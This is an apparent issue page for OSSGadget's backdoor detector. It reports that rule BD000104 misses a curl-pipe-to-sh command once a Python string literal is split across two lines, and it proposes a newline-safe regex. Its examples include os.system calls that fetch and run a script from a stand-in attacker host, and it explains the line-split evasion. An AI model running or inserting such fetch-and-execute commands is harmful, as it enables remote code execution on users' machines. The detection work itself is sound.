[BUG] BD000104 misses curl/wget pipelines written across lines (implicit string concatenation)
Nobody has claimed this yet.
Assessment
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Newbie friendliness
- 78/100
Research direction
Start with Resources/BackdoorRules/code_execution.json and the BD000104 regex; check how its patterns are matched and where regression tests for backdoor rules live. Reproduce the supplied multiline Python example, then add a regression test showing it is detected while preserving the existing single-line case. Done means both cases pass and the reported pipeline is detected.
Written by the indexing model from the issue text.
Description
Case Study
Single-line malicious code (detected):
import os
os.system("curl -s https://evil.example/a | sh")
Detected as: Security.Backdoor.CurlBashing (rule BD000104, confidence Medium).
Semantically identical long command split across two lines using normal PEP 8 implicit string concatenation (not detected):
import os
os.system("curl -s https://evil.example/a "
"| sh")
Result: "No tags were found."
Current regex
File: Resources/BackdoorRules/code_execution.json (BD000104, type regex, scope code, confidence medium).
(curl|wget).{1,50}\|\s*(sh|bash)
ApplicationInspector uses the .NET regex engine without the Singleline option. "." does not match newline characters, so ".{1,50}" cannot cross the newline inserted by the implicit concatenation. The pattern stops before the "|" and the rule never fires.
Suggested Fix
Make the rule newline-safe, for example:
(curl|wget)[\s\S]{1,200}?\|\s*(sh|bash)
[\s\S] is not affected by the Singleline option. Optionally add a conditions entry using finding-region to require a URL in the same region (to avoid cross-function false positives), or normalize adjacent string literals before rule matching. Please also add a regression test for multi-line pipelines.
Reproduction results
Environment: OSSGadget 0.2.38 (ApplicationInspector), .NET 8, Windows.
Commands:
ossgadget detect-backdoor -f text ./ori
ossgadget detect-backdoor -f text ./adv
Results:
ori: Security.Backdoor.CurlBashing (Medium)
adv: No tags were found.
Attachments: ori.py, adv.py
- Dominant language
- C#
- Stars
- 372
- Forks
- 57
- PR merge metrics
- No merged PRs in 30d
Getting set up
Starts the project's dev container in your browser, under your own GitHub account.
- Ships a Dockerfile or Docker Compose file
- No pull request template
- No contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from microsoft/OSSGadget
-
Difficulty 3/5 1-2 days Newbie friendliness 62/100
-
Difficulty 4/5 3-5 days Newbie friendliness 30/100
-
CPAN not supportedOpen
Difficulty 3/5 1-2 days Newbie friendliness 25/100
-
Difficulty 4/5 3-5 days Newbie friendliness 35/100
-
Difficulty 4/5 3-5 days Newbie friendliness 35/100
All issues in microsoft/OSSGadget
Similar issues
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 65/100
KnifeLemon/Filee#363 ·
Maintainers usually reply within 1 day
-
enhancement
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
-
area-Native untriaged
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
dotnet/machinelearning#7837 ·
Maintainers usually reply within 2 days
-
[CI] .trgen-ignore required for several grammars.Possibly taken @kaby76 claimed this today. Open
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
antlr/grammars-v4#5073 ·
Maintainers usually reply within 1 day
-
[Enhancement]: Add a search box to the Time Zone dropdownPossibly taken @idumlupinar claimed this today. OpenStatus: New
Difficulty 2/5 1-3 hours Newbie friendliness 85/100
dnnsoftware/Dnn.Platform#7579 ·
Maintainers usually reply within 2 days